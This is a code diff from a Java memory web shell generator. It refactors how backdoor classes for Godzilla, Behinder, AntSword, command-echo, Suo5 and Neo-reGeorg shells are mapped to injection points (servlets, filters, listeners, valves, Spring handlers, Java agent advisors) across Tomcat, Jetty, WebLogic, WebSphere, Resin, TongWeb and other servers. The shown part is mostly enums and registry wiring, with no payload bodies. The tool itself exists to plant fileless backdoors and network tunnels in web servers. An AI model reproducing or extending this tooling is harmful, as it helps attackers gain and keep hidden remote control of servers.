+                .injectorClassName(injectorConfig.getInjectorClassName())
+                .injectorBytes(injectorBytes)
+                .injectorInnerClassBytes(innerClassBytes)
+                .build();
+    }
+
+    private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        switch (shellConfig.getShellTool()) {
+            case Godzilla:
+                return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
+            case Command:
+                return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
+            case Behinder:
+                return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
+            case Suo5:
+                return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
+            case AntSword:
+                return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
+            case NeoreGeorg:
+                return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
+            case Custom:
+                return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
+            default:
+                throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/Packers.java

@@ -1,5 +1,8 @@
-package com.reajason.javaweb.memshell.packer;
+package com.reajason.javaweb.memshell;
 
+import com.reajason.javaweb.memshell.packer.BCELPacker;
+import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.XxlJobPacker;
 import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
 import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
 import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
@@ -34,6 +37,7 @@ import lombok.Getter;
 
 import java.util.List;
 import java.util.Objects;
+import java.util.stream.Collectors;
 import java.util.stream.Stream;
 
 /**
@@ -130,6 +134,6 @@ public enum Packers {
     }
 
     public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
-        return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).toList();
+        return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java

@@ -1,88 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.resin.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.resin.command.CommandListener;
-import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.resin.injector.ResinFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
-import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
-import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector;
-import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/14
- */
-public class ResinShell extends AbstractShell {
-    public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(CommandServlet.class, ResinServletInjector.class));
-        map.put(FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(GodzillaServlet.class, ResinServletInjector.class));
-        map.put(FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(BehinderServlet.class, ResinServletInjector.class));
-        map.put(FILTER, Pair.of(BehinderFilter.class, ResinFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, ResinListenerInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(Suo5Servlet.class, ResinServletInjector.class));
-        map.put(FILTER, Pair.of(Suo5Filter.class, ResinFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class));
-        map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

@@ -0,0 +1,276 @@
+package com.reajason.javaweb.memshell;
+
+import com.reajason.javaweb.memshell.server.*;
+import com.reajason.javaweb.memshell.shelltool.antsword.*;
+import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
+import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
+import com.reajason.javaweb.memshell.shelltool.behinder.*;
+import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
+import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
+import com.reajason.javaweb.memshell.shelltool.command.*;
+import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
+import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
+import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
+import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
+import com.reajason.javaweb.memshell.shelltool.godzilla.*;
+import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
+import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
+import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
+import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
+import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
+import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
+import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
+import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
+import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
+import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
+import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
+import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
+import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
+import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
+import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
+import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
+import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
+import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
+import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
+import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
+import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
+import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
+import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
+import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
+import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
+import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
+import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
+import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
+import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
+import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
+import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
+import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
+import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
+import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
+import lombok.Getter;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/22
+ */
+@Getter
+public enum Server {
+    /**
+     * Tomcat 中间件
+     */
+    Tomcat(new TomcatShell()),
+    /**
+     * Jetty 中间件
+     */
+    Jetty(new JettyShell()),
+    /**
+     * JBoss AS 中间件，JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
+     */
+    JBossAS(new JbossShell()),
+    JBossEAP6(new JbossShell()),
+    /**
+     * Undertow，对应是 Wildfly 以及 JBoss EAP，也有可能是 SpringBoot 用的
+     * <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
+     */
+    Undertow(new UndertowShell()),
+    JBossEAP7(new UndertowShell()),
+    WildFly(new UndertowShell()),
+
+    /**
+     * SpringMVC 框架
+     */
+    SpringWebMvc(new SpringWebMvcShell()),
+
+    /**
+     * Spring WebFlux 框架
+     */
+    SpringWebFlux(new SpringWebFluxShell()),
+
+    /**
+     * WebSphere 中间件
+     */
+    WebSphere(new WebSphereShell()),
+
+    /**
+     * WebLogic 中间件
+     */
+    WebLogic(new WebLogicShell()),
+
+    /**
+     * Resin 中间件，<a href="https://caucho.com/products/resin/download">Resin</a>
+     */
+    Resin(new ResinShell()),
+
+    /**
+     * GlassFish 中间件
+     */
+    GlassFish(new GlassFishShell()),
+    Payara(new GlassFishShell()),
+
+    /**
+     * 宝兰德中间件
+     */
+    BES(new BesShell()),
+
+    /**
+     * 东方通中间件
+     */
+    TongWeb6(new TongWeb6Shell()),
+    TongWeb7(new TongWeb7Shell()),
+
+    /**
+     * 金蝶天燕中间件
+     */
+    Apusic(new ApusicShell()),
+
+    /**
+     * 中创中间件
+     */
+    InforSuite(new InforSuiteShell()),
+
+    /**
+     * XXL-JOB
+     */
+    XXLJOB(new XxlJobShell());
+
+    private final AbstractShell shell;
+
+    Server(AbstractShell shell) {
+        this.shell = shell;
+    }
+
+    static {
+        addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
+                .addShellClass(SERVLET, GodzillaServlet.class)
+                .addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
+                .addShellClass(FILTER, GodzillaFilter.class)
+                .addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
+                .addShellClass(LISTENER, GodzillaListener.class)
+                .addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
+                .addShellClass(VALVE, GodzillaValve.class)
+                .addShellClass(JAKARTA_VALVE, GodzillaValve.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
+                .addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
+                .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
+                .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
+                .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
+                .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
+                .build());
+
+        addToolMapping(ShellTool.Behinder, ToolMapping.builder()
+                .addShellClass(SERVLET, BehinderServlet.class)
+                .addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
+                .addShellClass(FILTER, BehinderFilter.class)
+                .addShellClass(JAKARTA_FILTER, BehinderFilter.class)
+                .addShellClass(LISTENER, BehinderListener.class)
+                .addShellClass(JAKARTA_LISTENER, BehinderListener.class)
+                .addShellClass(VALVE, BehinderValve.class)
+                .addShellClass(JAKARTA_VALVE, BehinderValve.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
+                .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
+                .build());
+
+        addToolMapping(ShellTool.AntSword, ToolMapping.builder()
+                .addShellClass(SERVLET, AntSwordServlet.class)
+                .addShellClass(FILTER, AntSwordFilter.class)
+                .addShellClass(LISTENER, AntSwordListener.class)
+                .addShellClass(VALVE, AntSwordValve.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
+                .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
+                .build());
+
+        addToolMapping(ShellTool.Command, ToolMapping.builder()
+                .addShellClass(SERVLET, CommandServlet.class)
+                .addShellClass(JAKARTA_SERVLET, CommandServlet.class)
+                .addShellClass(FILTER, CommandFilter.class)
+                .addShellClass(JAKARTA_FILTER, CommandFilter.class)
+                .addShellClass(LISTENER, CommandListener.class)
+                .addShellClass(JAKARTA_LISTENER, CommandListener.class)
+                .addShellClass(VALVE, CommandValve.class)
+                .addShellClass(JAKARTA_VALVE, CommandValve.class)
+                .addShellClass(WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
+                .addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
+                .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
+                .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
+                .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
+                .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
+                .addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
+                .build());
+
+        addToolMapping(ShellTool.Suo5, ToolMapping.builder()
+                .addShellClass(SERVLET, Suo5Servlet.class)
+                .addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
+                .addShellClass(FILTER, Suo5Filter.class)
+                .addShellClass(JAKARTA_FILTER, Suo5Filter.class)
+                .addShellClass(LISTENER, Suo5Listener.class)
+                .addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
+                .addShellClass(VALVE, Suo5Valve.class)
+                .addShellClass(JAKARTA_VALVE, Suo5Valve.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
+                .addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
+                .build());
+
+        addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
+                .addShellClass(SERVLET, NeoreGeorgServlet.class)
+                .addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)
+                .addShellClass(FILTER, NeoreGeorgFilter.class)
+                .addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class)
+                .addShellClass(LISTENER, NeoreGeorgListener.class)
+                .addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
+                .addShellClass(VALVE, NeoreGeorgValve.class)
+                .addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
+                .addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
+                .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
+                .build());
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java

@@ -0,0 +1,44 @@
+package com.reajason.javaweb.memshell;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/22
+ */
+public enum ShellTool {
+    /**
+     * 哥斯拉
+     */
+    Godzilla,
+
+    /**
+     * 冰蝎
+     */
+    Behinder,
+
+    /**
+     * 蚁剑
+     */
+    AntSword,
+
+    /**
+     * 命令回显
+     */
+    Command,
+
+    /**
+     * Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
+     */
+    Suo5,
+
+    /**
+     * Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
+     */
+    NeoreGeorg,
+
+    /**
+     * 自定义
+     */
+    Custom,
+
+    ;
+}

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

@@ -0,0 +1,49 @@
+package com.reajason.javaweb.memshell;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/28
+ */
+public class ShellType {
+
+    public static final String SERVLET = "Servlet";
+    public static final String JAKARTA_SERVLET = "JakartaServlet";
+    public static final String FILTER = "Filter";
+    public static final String JAKARTA_FILTER = "JakartaFilter";
+    public static final String LISTENER = "Listener";
+    public static final String JAKARTA_LISTENER = "JakartaListener";
+
+    public static final String VALVE = "Valve";
+    public static final String JAKARTA_VALVE = "JakartaValve";
+
+    public static final String NETTY_HANDLER = "NettyHandler";
+
+    public static final String AGENT = "Agent";
+    public static final String ASM = "ASM";
+
+    public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
+    public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
+    public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
+    public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
+    public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
+    public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
+    public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
+    public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
+    public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
+    public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
+    public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
+    public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
+
+    public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
+    public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
+    public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
+    public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
+    public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
+    public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
+
+    public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
+    public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
+    public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
+    public static final String WEBSOCKET = "WebSocket";
+    public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
+}

generator/src/main/java/com/reajason/javaweb/memshell/SpringWebFluxShell.java

@@ -1,57 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
-import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
-import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
-import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
-import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
-import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
-import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
-import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
-import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector;
-import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector;
-import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector;
-import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector;
-import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-/**
- * @author ReaJason
- * @since 2024/12/24
- */
-public class SpringWebFluxShell extends AbstractShell {
-    public static final String WEB_FILTER = "WebFilter";
-    public static final String HANDLER_METHOD = "HandlerMethod";
-    public static final String HANDLER_FUNCTION = "HandlerFunction";
-    public static final String NETTY_HANDLER = "NettyHandler";
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(WEB_FILTER, Pair.of(CommandWebFilter.class, SpringWebFluxWebFilterInjector.class));
-        map.put(HANDLER_METHOD, Pair.of(CommandHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class));
-        map.put(HANDLER_FUNCTION, Pair.of(CommandHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class));
-        map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(WEB_FILTER, Pair.of(GodzillaWebFilter.class, SpringWebFluxWebFilterInjector.class));
-        map.put(HANDLER_METHOD, Pair.of(GodzillaHandlerMethod.class, SpringWebFluxHandlerMethodInjector.class));
-        map.put(HANDLER_FUNCTION, Pair.of(GodzillaHandlerFunction.class, SpringWebFluxHandlerFunctionInjector.class));
-        map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, SpringWebFluxNettyHandlerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(WEB_FILTER, Pair.of(Suo5WebFilter.class, SpringWebFluxWebFilterInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java

@@ -1,87 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
-import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
-import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
